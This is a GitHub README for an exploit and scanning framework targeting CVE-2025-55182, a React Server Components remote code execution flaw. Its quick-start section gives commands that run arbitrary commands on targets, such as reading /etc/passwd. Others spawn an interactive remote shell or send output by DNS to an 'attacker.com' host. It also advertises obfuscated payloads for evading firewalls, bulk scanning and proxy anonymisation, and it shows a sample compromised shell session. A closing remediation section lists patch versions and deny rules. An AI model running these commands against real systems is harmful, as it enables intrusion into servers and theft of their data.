
Advanced React Server Components RCE scanner for CVE-2025-55182. Features: multi-stage fingerprinting, vulnerability verification, DNS exfiltration, interactive shell, payload obfuscation, and professional reporting (JSON/HTML/PDF). Authorized testing only.
<div align="center">
# π ReactRCE-Scanner
### CVE-2025-55182 β Advanced React Server Components RCE Exploit & Assessment Framework
<p align="center">
<a href="https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit"><img src="https://img.shields.io/badge/version-1.0.0-blue?style=for-the-badge&logo=git&logoColor=white" alt="Version"></a>
<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-55182"><img src="https://img.shields.io/badge/CVE-2025--55182-red?style=for-the-badge&logo=shield&logoColor=white" alt="CVE"></a>
<a href="https://www.first.org/cvss/"><img src="https://img.shields.io/badge/CVSS-9.8%20CRITICAL-critical?style=for-the-badge&logo=security&logoColor=white" alt="CVSS"></a>
<a href="https://python.org"><img src="https://img.shields.io/badge/python-3.8+-blue?style=for-the-badge&logo=python&logoColor=white" alt="Python"></a>
<a href="https://github.com/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-green?style=for-the-badge&logo=open-source-initiative&logoColor=white" alt="License"></a>
</p> <p align="center">
<a href="https://github.com/CerberusMrXi"><img src="https://img.shields.io/badge/author-CerberusMrXi-orange?style=for-the-badge&logo=github" alt="Author"></a>
<a href="http://makeapullrequest.com"><img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=for-the-badge&logo=git-pull-request" alt="PRs Welcome"></a>
<a href="https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/releases"><img src="https://img.shields.io/github/downloads/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/total?style=for-the-badge&logo=github" alt="Downloads"></a>
</p> </div>
---
## π Table of Contents
- [Legal Disclaimer & Ethical Notice](#-legal-disclaimer--ethical-notice)
- [Overview](#-overview)
- [Key Capabilities](#-key-capabilities)
- [Quick Start Guide](#-quick-start-guide)
- [Architecture & Feature Deep Dive](#-architecture--feature-deep-dive)
- [Configuration Reference](#-configuration-reference)
- [Automated Test Suite](#-automated-test-suite)
- [Remediation & Mitigation](#-remediation--mitigation)
- [Contributing & Community](#-contributing--community)
- [References](#-references)
- [License & Author](#-license--author)
---
## β οΈ Legal Disclaimer & Ethical Notice
> **This tool is engineered exclusively for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes.**Unauthorized utilization of this software against targets without prior written consent constitutes a violation of international computer crime laws, including the Computer Fraud and Abuse Act (CFAA), GDPR mandates, and standard terms of service agreements. The author and contributors disclaim all liability for any misuse, illegal operations, or consequential damages resulting from this program.**Proceed strictly at your own risk.**
---
## π Overview
**ReactRCE-Scanner** is an enterprise-grade security assessment and verification framework designed specifically for **CVE-2025-55182** [1], a critical Remote Code Execution (RCE) vulnerability affecting React Server Components across versions `19.0.0` through `19.2.0`.
The framework bridges the gap between theoretical vulnerability research and practical security validation. By incorporating multi-stage fingerprinting, rigorous false-positive reduction, advanced payload obfuscation, and automated multi-format reporting, it provides security engineers with precise diagnostic capabilities.
<div align="center">
| **Usage** | **Scan Results** |
|:---------:|:----------------:|
| <img src="https://github.com/user-attachments/assets/ee7a96b7-f4cd-4e00-b780-97c7d9ca3523" width="900"> | <img src="https://github.com/user-attachments/assets/e4b493d1-c5a1-494e-8385-2b92ab5fb76e" width="900"> |
</div>
---
## π― Key Capabilities
| Feature Category | Implementation Highlight | Operational Status |
| --- | --- | --- |
| **Smart Fingerprinting** | Multi-source framework and version detection with confidence scoring algorithms. | β
|
| **Multi-Stage Verification** | 5-stage validation pipeline designed to systematically eliminate false positives. | β
|
| **Payload Generation** | Obfuscated payload builder supporting DNS exfiltration and multi-encoding. | β
|
| **Interactive Shell** | Real-time pseudo-interactive command execution and shell access on verified targets. | β
|
| **Comprehensive Reporting** | Automated report generation in JSON, HTML, PDF, and Markdown formats. | β
|
| **DNS Exfiltration** | Out-of-band command output exfiltration via secure DNS query handling. | β
|
| **Concurrency Engine** | High-performance multi-threaded scanning architecture for large attack surfaces. | β
|
| **Proxy Integration** | HTTP/HTTPS and SOCKS proxy support for anonymized assessment traffic. | β
|
---
## π Quick Start Guide
### Installation
Clone the repository and initialize the environment utilizing the automated setup script or manual dependency installation:
```bash
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
```
### Basic Command Reference
The framework operates via a modular CLI architecture supporting single-target validation, bulk scanning from file lists, interactive shell spawning, and compliance reporting.
```bash
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
```
---
## π¬ Architecture & Feature Deep Dive
### 1. Smart Fingerprinting Engine
The framework performs deep reconnaissance prior to payload delivery. It analyzes multiple HTTP header fields (`X-Powered-By`, `Next-Action`, `RSC` ), HTML structural meta tags (`data-reactroot`, `__NEXT_DATA__`), static build assets, and JavaScript source bundles [2] [3].
Confidence scores are categorized into four tiers:
- **CRITICAL (95%+):** Multiple orthogonal indicators confirm vulnerable React Server Component runtime versions.
- **HIGH (75β95%):** Strong structural indicators identified with exact version matching.
- **MEDIUM (50β75%):** Partial framework markers present; manual verification required.
- **LOW (<50%):** Weak heuristics detected; high probability of false positive.
### 2. Multi-Stage Verification Workflow
To maintain operational integrity and prevent unintended service disruptions, payloads pass through a strict validation pipeline before any exploitation phase is unlocked.
```
Target URL / Endpoint
β
βΌ
[Stage 1] Framework & Header Detection
β
βΌ
[Stage 2] Component Version Analysis
β
βΌ
[Stage 3] Protocol Compatibility Check
β
βΌ
[Stage 4] Non-Destructive Safe Validation Request
β
βΌ
[Stage 5] Statistical Confidence Scoring
β
βΌ
Vulnerability Assessment Decision
```
### 3. Payload Obfuscation & Evasion
To test defensive controls and Web Application Firewalls (WAFs), the framework embeds an advanced payload generator supporting:
- **Encoding Schemes:** Base64, Hexadecimal, and Octal transformations.
- **Structural Obfuscation:** Dynamic string splitting, junk code injection, and alternative `require` method mapping.
- **Out-of-Band (OOB) Exfiltration:** Secure data tunneling across DNS queries when direct response channels are restricted.
### 4. Interactive Command Shell
Upon successful session establishment, operators can invoke an interactive shell environment for post-verification enumeration.
```bash
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.
shell> whoami
www-data
shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux
shell> exit
[*] Terminating session and cleaning up temporary artifacts...
```
### 5. Professional Reporting Suite
Reports can be generated across multiple standardized formats (`JSON`, `HTML`, `PDF`, `Markdown` ) containing executive summaries, risk metrics, detailed technical findings, evidence timelines, and CVSS v3.1 scoring breakdowns [4].
---
## βοΈ Configuration Reference
Advanced parameters are managed through the `config.yaml` configuration file. Below is a production configuration template:
```yaml
# ReactRCE-Scanner Production Configuration
timeout: 30
threads: 20
max_retries: 3
proxy: null
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
headers:
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
Accept-Language: "en-US,en;q=0.5"
Accept-Encoding: "gzip, deflate, br"
output:
format: "json"
directory: "./reports"
logging:
level: "INFO"
file: "exploit.log"
exploit:
obfuscate: true
encoding: "base64"
timeout: 60
scanning:
concurrent_scans: 20
rate_limit: 0.5
timeout: 30
fingerprint:
enable_deep_analysis: true
follow_redirects: true
analyze_assets: true
```
Execute scans referencing the custom configuration file via:
```bash
python exploit.py -f targets.txt -C config.yaml -o report.json
```
---
## π§ͺ Automated Test Suite
The repository includes a comprehensive unit and integration test suite to ensure module stability across releases.
```bash
# Execute the complete automated test suite
python exploit.py --test
# Expected Output:
Running test suite...
β test_fingerprinting passed
β test_payload_generation passed
β test_config_loading passed
β test_verification passed
β test_report_generation passed
Tests passed: 5/5
```
For contributors setting up a local development environment:
```bash
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt
# Run pytest unit tests
pytest tests/
# Format and lint codebase
black exploit.py
flake8 exploit.py
```
---
## π‘οΈ Remediation & Mitigation
### Immediate Administrative Actions
1. **Patching:** Upgrade React packages immediately to version `19.2.1` or higher. Update Next.js instances to version `15.0.4+` [5].
1. **Monitoring:** Inspect HTTP access logs for suspicious `Next-Action` header values and unvalidated prototype references (`__proto__`, `constructor` ) [6].
1. **Network Hardening:** Restrict outbound recursive DNS queries from application servers to prevent data exfiltration.
### Reference WAF Rules (Nginx / OpenResty)
```
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
return 403;
}
if ($request_body ~* "constructor") {
return 403;
}
if ($request_body ~* "child_process") {
return 403;
}
if ($request_body ~* "execSync") {
return 403;
}
```
---
## π References
1. [National Vulnerability Database β CVE-2025-55182 Advisory](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
1. [React Security Documentation & Advisories](https://react.dev/security)
1. [Next.js Security Bulletins](https://nextjs.org/blog/security)
1. [FIRST CVSS v3.1 Specification & Calculator](https://www.first.org/cvss/calculator/3.1)
1. [OWASP Guide to Prototype Pollution Vulnerabilities](https://www.owasp.org/index.php/Prototype_Pollution)
1. [Node.js Child Process Security Best Practices](https://nodejs.org/api/child_process.html)
---
## π€ Contributing & Community
Contributions, feature requests, and bug reports are welcome. Please adhere to the standard fork-and-pull request workflow:
1. Fork the repository (`https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork` )
1. Create your feature branch (`git checkout -b feature/AdvancedScannerModule`)
1. Commit your changes (`git commit -m 'Add advanced scanning heuristic'`)
1. Push to the branch (`git origin push feature/AdvancedScannerModule`)
1. Open a Pull Request
---
## π License & Author
Distributed under the **MIT License**. See [LICENSE](https://github.com/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit/blob/main/LICENSE) for more information.
<div align="center">
**Created with precision by CerberusMrXi** *Last Updated: August 2026*
</div>